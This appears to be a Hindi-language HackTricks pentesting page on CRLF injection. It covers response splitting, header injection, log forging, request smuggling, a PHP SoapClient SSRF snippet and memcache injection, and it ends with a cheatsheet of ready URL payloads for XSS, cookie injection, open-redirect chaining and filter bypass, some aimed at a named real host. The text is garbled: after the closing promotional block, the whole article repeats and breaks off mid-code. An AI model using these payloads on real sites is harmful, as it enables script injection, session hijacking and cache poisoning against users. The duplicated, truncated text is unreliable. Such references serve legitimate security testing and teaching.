# CRLF (%0D%0A) अभिलेखन
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## CRLF क्या है?
जब ब्राउज़र एक वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर एक प्रतिक्रिया भेजकर जवाब देता है जिसमें HTTP प्रतिक्रिया हेडर और वास्तविक वेबसाइट सामग्री, अर्थात उत्तर शरीर, शामिल होती है। HTTP हेडर और HTML प्रतिक्रिया (वेबसाइट सामग्री) को विशेष वर्णों के एक विशेष संयोजन के द्वारा अलग किया जाता है, अर्थात एक कैरिज रिटर्न और एक लाइन फ़ीड। संक्षेप में इन्हें CRLF के रूप में भी जाना जाता है।
वेब सर्वर CRLF का उपयोग करता है ताकि उसे समझ सके कि नया HTTP हेडर शुरू हो रहा है और एक अन्य समाप्त हो रहा है। CRLF एक वेब एप्लिकेशन या उपयोगकर्ता को भी बता सकता है कि एक नई पंक्ति फ़ाइल या पाठ ब्लॉक में शुरू हो रही है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक है, इसलिए इसका उपयोग Apache, Microsoft IIS और सभी अन्य प्रकार के वेब सर्वर, सहित करता है।\
स्रोत: [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### CRLF Injection विकल्पता क्या है?
CRLF इंजेक्शन विकल्पता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफ़ीड वर्णों को सम्मिलित करता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह लगे कि एक ऑब्जेक्ट समाप्त हो गया है और एक और शुरू हो गया है। इस प्रकार, CRLF अक्षर दुष्ट नहीं होते हैं, हालांकि उन्हें दुष्ट इरादे के लिए, HTTP प्रतिक्रिया विभाजन आदि के लिए उपयोग किया जा सकता है।
## वेब एप्लिकेशन में CRLF इंजेक्शन
वेब एप्लिकेशन में CRLF इंजेक्शन का गंभीर प्रभाव हो सकता है, इस पर निर्भर करता है कि एप्लिकेशन किसी विशेष आइटम के साथ क्या करता है। प्रभाव जानकारी उजागर करने से लेकर कोड निष्पादन तक हो सकते हैं, जो एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा संवर्धन होता है। वास्तव में, CRLF इंजेक्शन हमला एक वेब एप्लिकेशन पर बहुत गंभीर प्रभाव डाल सकता है, हालांकि यह कभी भी OWASP Top 10 सूची में नहीं था। उदाहरण के रूप में नीचे दिए गए उदाहरण में व्यवस्थापक पैनल में लॉग फ़ाइलों को मानिपुरेट करना भी संभव है।
#### लॉग फ़ाइल में CRLF इंजेक्शन का एक उदाहरण
एक व्यवस्थापक पैनल में एक लॉग फ़ाइल की कलम मान लें जिसमें IP - समय - देखी गई पथ का आउटपुट स्ट्रीम पैटर्न हो, जैसा कि नीचे दिखाया गया है:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
यदि कोई हमलावर HTTP अनुरोध में CRLF वर्णों को संप्रेषित करने में सक्षम होता है, तो उसे आउटपुट स्ट्रीम को बदलने और लोग प्रविष्टियों को नकली बनाने की क्षमता होती है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए तरह के कुछ और बदल सकता है:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए जब हमलावर उन वर्णों को डालता है और ऐप्लिकेशन उसे प्रदर्शित करता है, तो लॉग एंट्री इस तरह दिखेगी:
IP - समय - यात्रित पथ
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
इसलिए, CRLF अंदरघात संवेदनशीलता का उल्लंघन करके हमलावर लॉग फ़ाइल में नकली एंट्री बना सकता है ताकि वह अपने खुद के दुष्ट कार्यों को छिपाए। हमलावर शाब्दिक रूप से पेज हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए, यहां एक स्थिति का कल्पना करें जहां हमलावर के पास व्यवस्थापक पासवर्ड है और वह restrictedaction पैरामीटर को निषिद्ध कर दिया है, जिसे केवल एक व्यवस्थापक द्वारा उपयोग किया जा सकता है।
समस्या यह है कि यदि प्रशासक को ध्यान आता है कि एक अज्ञात आईपी ने restrictedaction पैरामीटर का उपयोग किया है, तो उसे कुछ गड़बड़ लगेगी। हालांकि, अब यह ऐसा दिखता है कि कमांड localhost द्वारा जारी की गई थी (और इसलिए संभवतः सर्वर तक पहुंच वाले किसी व्यवस्थापक द्वारा) इसे संदेहास्पद नहीं लगता।
%0d%0a के साथ शुरू होने वाला पूरा प्रश्नांश सर्वर द्वारा एक पैरामीटर के रूप में हैंडल किया जाएगा। इसके बाद एक और & है जिसमें पैरामीटर restricted action है जो सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। यह असल में वही प्रश्नांश होगा जैसा कि:
```
/index.php?page=home&restrictedaction=edit
```
### HTTP प्रतिक्रिया विभाजन
#### विवरण
HTTP प्रतिक्रिया का हेडर और इसके बॉडी को CRLF (कैरिज रिटर्न लाइन फीड) वर्णों द्वारा अलग किया जाता है, इसलिए किसी हमलावर को उन्हें इंजेक्ट करने का प्रयास कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू हो रहा है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी में डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे एक क्रॉस-साइट स्क्रिप्टिंग संवर्धन हो सकता है।
#### XSS के लिए HTTP प्रतिक्रिया विभाजन का एक उदाहरण
सोचें कि एक ऐप्लिकेशन एक कस्टम हेडर सेट करती है, उदाहरण के लिए:
```
X-Your-Name: Bob
```
शीर्षक की मान्यता "नाम" नामक एक get पैरामीटर के माध्यम से सेट की जाती है। यदि कोई URL कोडिंग स्थान पर नहीं है और मान्यता सीधे शीर्षक में प्रतिबिंबित होती है, तो हमें बताने के लिए एक आक्रमणकारी को ऊपर उल्लिखित CRLFCRLF का संयोजन सम्मिलित करने के लिए संभव हो सकता है कि ब्राउज़र को यह कहने के लिए कि अनुरोध शरीर शुरू होता है। इस तरीके से वह XSS पेलोड जैसे डेटा सम्मिलित कर सकता है, उदाहरण के लिए:
```
?name=Bob%0d%0a%0d%0a
```
उपरोक्त एक आक्रमित डोमेन के संदर्भ में एक चेतावनी विंडो प्रदर्शित करेगा।
#### रीडायरेक्ट करने वाले HTTP प्रतिक्रिया में CRLF इंजेक्शन का उदाहरण
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
ब्राउज़र को:
```
/%0d%0aLocation:%20http://myweb.com
```
और सर्वर हेडर के साथ प्रतिक्रिया देता है:
```
Location: http://myweb.com
```
**दूसरा उदाहरण: (स्रोत** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL पथ में
आप URL पथ में पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP हेडर इंजेक्शन
#### विवरण
CRLF इंजेक्शन का उपयोग करके एक हमलावर्धक भी HTTP हेडर्स डाल सकता है जिनका उपयोग सुरक्षा तंत्रों को पराजित करने के लिए किया जा सकता है, जैसे ब्राउज़र के XSS फ़िल्टर या समान मूल नीति। इससे हमलावर्धक को CSRF टोकन की तरह संवेदनशील जानकारी प्राप्त करने में सक्षम होता है। वह कुकीज़ भी सेट कर सकता है जिनका उपयोग हमलावर्धक को पीड़ित का खाता में लॉगिन करने या अन्यथा अप्रयोज्य [क्रॉस-साइट स्क्रिप्टिंग (XSS) संकट](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) का उपयोग करके उचित कर सकता है।
#### संवेदनशील जानकारी निकालने के लिए HTTP हेडर इंजेक्शन का उदाहरण
यदि एक हमलावर्धक CORS (क्रॉस ऑरिजिन रिसोर्स शेयरिंग) को सक्रिय करने वाले HTTP हेडर्स को इंजेक्ट कर सकता है, तो वह जावास्क्रिप्ट का उपयोग करके संसाधनों तक पहुंच सकता है जो SOP (समान मूल नीति) द्वारा संरक्षित होते हैं, जो अलग-अलग मूलों की साइटों को एक दूसरे तक पहुंचने से रोकती है।
### SSRF में नया HTTP अनुरोध
CRLF इंजेक्शन का दुरुपयोग करके आप एक **नया HTTP अनुरोध बना सकते हैं और इसे इंजेक्ट कर सकते हैं**।\
PHP में `SoapClient` डेसीरियलाइज़ेशन गैजेट का उपयोग करके एक अच्छा उदाहरण दिया जा सकता है। इस कक्षा में `user_agent` पैरामीटर के अंदर CRLF के प्रति विकल्पनीयता होती है जिससे नए हेडर और बॉडी सामग्री को **इंजेक्ट करने में सक्षम होता है**। हालांकि, आप इस संकट का दुरुपयोग करके नए HTTP अनुरोध को **इंजेक्ट करने में सक्षम हो सकते हैं:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### हेडर इंजेक्शन करके रिक्वेस्ट स्मगलिंग
आप महत्वपूर्ण हेडर्स को इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन खुली रहे** प्रारंभिक रिक्वेस्ट के उत्तर के बाद:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
फिर, **एक दूसरी रिक्वेस्ट निर्दिष्ट करें**। यहां आपके पास एक **क्लासिक** [**रिक्वेस्ट स्मग्लिंग**](http-request-smuggling/) है जिसमें सर्वर द्वारा संक्रमण के बाद अतिरिक्त **हेडर/बॉडी** जोड़े जाते हैं।\
यहां दो से अधिक पार-उपयोगकर्ता शोषण के लिए कुछ विकल्प हैं।
या तो अपने प्रेफिक्स में एक **हानिकारक प्रारंभ** निर्दिष्ट करें ताकि आगामी उपयोगकर्ता की रिक्वेस्ट या वेब कैश को दूषित किया जा सके:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
या अपने प्रेफिक्स को तालिका जंक के साथ मिलाकर एक पूर्ण दूसरी रिक्वेस्ट बनाने के लिए तैयार करें ताकि **प्रतिक्रिया कतार दूषित** की जा सके।
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत की जांच करें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)।
### मेमकैश इंजेक्शन
मेमकैश एक **कुंजी-मान-संग्रह है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए देखें:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
यदि कोई प्लेटफॉर्म **एक HTTP रिक्वेस्ट से डेटा लेती है और इसे सेनिटाइज़ नहीं करके** एक **मेमकैश** सर्वर को **रिक्वेस्ट** करने के लिए उपयोग कर रही है, तो हमलावर इस व्यवहार का दुरुपयोग कर सकता है और **नए मेमकैश कमांड इंजेक्शन** कर सकता है।
उदाहरण के लिए, मूल खोज में, कैश कुंजी का उपयोग उपयोगकर्ता को उस IP और पोर्ट को कनेक्ट करने के लिए कराया जाता था, और हमलावर **मेमकैश कमांड इंजेक्शन** कर सकता था जो उपयोगकर्ता के विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर के सर्वरों को भेजने के लिए **कैश को दूषित** करता था:
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे मेमकैश प्रतिक्रियाओं को डिसिंक करके उन उपयोगकर्ताओं को अपने ईमेल के जिनके बारे में हमलावर को ज्ञात नहीं था, अपने आईपी और पोर्ट भेज सकते थे:
**पूरी जानकारी के लिए** [**मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **को पढ़ें**\*\*\*\*
## CRLF इंजेक्शन संकट के प्रभाव
CRLF इंजेक्शन के प्रभाव भिन्न होते हैं और जानकारी खुलासा करने के सभी प्रभावों को भी शामिल करते हैं। यह पीड़ित ब्राउज़रों में क्रॉस-साइट स्क्रिप्टिंग के सभी प्रभावों को निष्क्रिय कर सकता है, जैसे XSS फ़िल्टर और समान मूल नीति, जो उपयोगकर्ताओं को आपत्तिजनक हमलों के प्रति संवेदनशील बना देती हैं।
### वेब अनुप्रयोगों में CRLF / HTTP हेडर इंजेक्शन को कैसे रोकें
सबसे अच्छा निवारण तकनीक यह है कि प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट का उपयोग न करें। यदि यह संभव नहीं है, तो आपको हमेशा CRLF विशेष वर्णों को एनकोड करने के लिए एक फ़ंक्शन का उपयोग करना चाहिए। एक अच्छा वेब अनुप्रयोग सुरक्षा अच्छा अभ्यास है कि आप अपनी प्रोग्रामिंग भाषा को एक संस्करण में अपडेट करें जो CR और LF को HTTP हेडर सेट करने वाले फ़ंक्शनों में इंजेक्शन करने की अनुमति नहीं देता है।
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## स्वचालित उपकरण
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## ब्रूट-फोर्स पता लेने की सूची
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## संदर्भ
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की उपलब्धता** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में अपने हैकिंग ट्रिक्स साझा करें।**
 (1) (4).png)
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## CRLF क्या है?
जब ब्राउज़र एक वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर एक प्रतिक्रिया भेजकर जवाब देता है जिसमें HTTP प्रतिक्रिया हेडर और वास्तविक वेबसाइट सामग्री, अर्थात उत्तर शरीर, शामिल होती है। HTTP हेडर और HTML प्रतिक्रिया (वेबसाइट सामग्री) को विशेष वर्णों के एक विशेष संयोजन के द्वारा अलग किया जाता है, अर्थात एक कैरिज रिटर्न और एक लाइन फ़ीड। संक्षेप में इन्हें CRLF के रूप में भी जाना जाता है।
वेब सर्वर CRLF का उपयोग करता है ताकि उसे समझ सके कि नया HTTP हेडर शुरू हो रहा है और एक अन्य समाप्त हो रहा है। CRLF एक वेब एप्लिकेशन या उपयोगकर्ता को भी बता सकता है कि एक नई पंक्ति फ़ाइल या पाठ ब्लॉक में शुरू हो रही है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक है, इसलिए इसका उपयोग Apache, Microsoft IIS और सभी अन्य प्रकार के वेब सर्वर, सहित करता है।\
स्रोत: [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### CRLF Injection विकल्पता क्या है?
CRLF इंजेक्शन विकल्पता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफ़ीड वर्णों को सम्मिलित करता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह लगे कि एक ऑब्जेक्ट समाप्त हो गया है और एक और शुरू हो गया है। इस प्रकार, CRLF अक्षर दुष्ट नहीं होते हैं, हालांकि उन्हें दुष्ट इरादे के लिए, HTTP प्रतिक्रिया विभाजन आदि के लिए उपयोग किया जा सकता है।
## वेब एप्लिकेशन में CRLF इंजेक्शन
वेब एप्लिकेशन में CRLF इंजेक्शन का गंभीर प्रभाव हो सकता है, इस पर निर्भर करता है कि एप्लिकेशन किसी विशेष आइटम के साथ क्या करता है। प्रभाव जानकारी उजागर करने से लेकर कोड निष्पादन तक हो सकते हैं, जो एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा संवर्धन होता है। वास्तव में, CRLF इंजेक्शन हमला एक वेब एप्लिकेशन पर बहुत गंभीर प्रभाव डाल सकता है, हालांकि यह कभी भी OWASP Top 10 सूची में नहीं था। उदाहरण के रूप में नीचे दिए गए उदाहरण में व्यवस्थापक पैनल में लॉग फ़ाइलों को मानिपुरेट करना भी संभव है।
#### लॉग फ़ाइल में CRLF इंजेक्शन का एक उदाहरण
एक व्यवस्थापक पैनल में एक लॉग फ़ाइल की कलम मान लें जिसमें IP - समय - देखी गई पथ का आउटपुट स्ट्रीम पैटर्न हो, जैसा कि नीचे दिखाया गया है:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
यदि कोई हमलावर HTTP अनुरोध में CRLF वर्णों को संप्रेषित करने में सक्षम होता है, तो उसे आउटपुट स्ट्रीम को बदलने और लोग प्रविष्टियों को नकली बनाने की क्षमता होती है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए तरह के कुछ और बदल सकता है:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए जब हमलावर उन वर्णों को डालता है और ऐप्लिकेशन उसे प्रदर्शित करता है, तो लॉग एंट्री इस तरह दिखेगी:
IP - समय - यात्रित पथ
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
इसलिए, CRLF अंदरघात संवेदनशीलता का उल्लंघन करके हमलावर लॉग फ़ाइल में नकली एंट्री बना सकता है ताकि वह अपने खुद के दुष्ट कार्यों को छिपाए। हमलावर शाब्दिक रूप से पेज हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए, यहां एक स्थिति का कल्पना करें जहां हमलावर के पास व्यवस्थापक पासवर्ड है और वह restrictedaction पैरामीटर को निषिद्ध कर दिया है, जिसे केवल एक व्यवस्थापक द्वारा उपयोग किया जा सकता है।
समस्या यह है कि यदि प्रशासक को ध्यान आता है कि एक अज्ञात आईपी ने restrictedaction पैरामीटर का उपयोग किया है, तो उसे कुछ गड़बड़ लगेगी। हालांकि, अब यह ऐसा दिखता है कि कमांड localhost द्वारा जारी की गई थी (और इसलिए संभवतः सर्वर तक पहुंच वाले किसी व्यवस्थापक द्वारा) इसे संदेहास्पद नहीं लगता।
%0d%0a के साथ शुरू होने वाला पूरा प्रश्नांश सर्वर द्वारा एक पैरामीटर के रूप में हैंडल किया जाएगा। इसके बाद एक और & है जिसमें पैरामीटर restricted action है जो सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। यह असल में वही प्रश्नांश होगा जैसा कि:
```
/index.php?page=home&restrictedaction=edit
```
### HTTP प्रतिक्रिया विभाजन
#### विवरण
HTTP प्रतिक्रिया का हेडर और इसके बॉडी को CRLF (कैरिज रिटर्न लाइन फीड) वर्णों द्वारा अलग किया जाता है, इसलिए किसी हमलावर को उन्हें इंजेक्ट करने का प्रयास कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू हो रहा है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी में डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे एक क्रॉस-साइट स्क्रिप्टिंग संवर्धन हो सकता है।
#### XSS के लिए HTTP प्रतिक्रिया विभाजन का एक उदाहरण
सोचें कि एक ऐप्लिकेशन एक कस्टम हेडर सेट करती है, उदाहरण के लिए:
```
X-Your-Name: Bob
```
शीर्षक की मान्यता "नाम" नामक एक get पैरामीटर के माध्यम से सेट की जाती है। यदि कोई URL कोडिंग स्थान पर नहीं है और मान्यता सीधे शीर्षक में प्रतिबिंबित होती है, तो हमें बताने के लिए एक आक्रमणकारी को ऊपर उल्लिखित CRLFCRLF का संयोजन सम्मिलित करने के लिए संभव हो सकता है कि ब्राउज़र को यह कहने के लिए कि अनुरोध शरीर शुरू होता है। इस तरीके से वह XSS पेलोड जैसे डेटा सम्मिलित कर सकता है, उदाहरण के लिए:
```
?name=Bob%0d%0a%0d%0a
```
उपरोक्त एक आक्रमित डोमेन के संदर्भ में एक चेतावनी विंडो प्रदर्शित करेगा।
#### रीडायरेक्ट करने वाले HTTP प्रतिक्रिया में CRLF इंजेक्शन का उदाहरण
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
ब्राउज़र को:
```
/%0d%0aLocation:%20http://myweb.com
```
और सर्वर हेडर के साथ प्रतिक्रिया देता है:
```
Location: http://myweb.com
```
**दूसरा उदाहरण: (स्रोत** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL पथ में
आप URL पथ में पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP हेडर इंजेक्शन
#### विवरण
CRLF इंजेक्शन का उपयोग करके एक हमलावर्धक भी HTTP हेडर्स डाल सकता है जिनका उपयोग सुरक्षा तंत्रों को पराजित करने के लिए किया जा सकता है, जैसे ब्राउज़र के XSS फ़िल्टर या समान मूल नीति। इससे हमलावर्धक को CSRF टोकन की तरह संवेदनशील जानकारी प्राप्त करने में सक्षम होता है। वह कुकीज़ भी सेट कर सकता है जिनका उपयोग हमलावर्धक को पीड़ित का खाता में लॉगिन करने या अन्यथा अप्रयोज्य [क्रॉस-साइट स्क्रिप्टिंग (XSS) संकट](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) का उपयोग करके उचित कर सकता है।
#### संवेदनशील जानकारी निकालने के लिए HTTP हेडर इंजेक्शन का उदाहरण
यदि एक हमलावर्धक CORS (क्रॉस ऑरिजिन रिसोर्स शेयरिंग) को सक्रिय करने वाले HTTP हेडर्स को इंजेक्ट कर सकता है, तो वह जावास्क्रिप्ट का उपयोग करके संसाधनों तक पहुंच सकता है जो SOP (समान मूल नीति) द्वारा संरक्षित होते हैं, जो अलग-अलग मूलों की साइटों को एक दूसरे तक पहुंचने से रोकती है।
### SSRF में नया HTTP अनुरोध
CRLF इंजेक्शन का दुरुपयोग करके आप एक **नया HTTP अनुरोध बना सकते हैं और इसे इंजेक्ट कर सकते हैं**।\
PHP में `SoapClient` डेसीरियलाइज़ेशन गैजेट का उपयोग करके एक अच्छा उदाहरण दिया जा सकता है। इस कक्षा में `user_agent` पैरामीटर के अंदर CRLF के प्रति विकल्पनीयता होती है जिससे नए हेडर और बॉडी सामग्री को **इंजेक्ट करने में सक्षम होता है**। हालांकि, आप इस संकट का दुरुपयोग करके नए HTTP अनुरोध को **इंजेक्ट करने में सक्षम हो सकते हैं:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
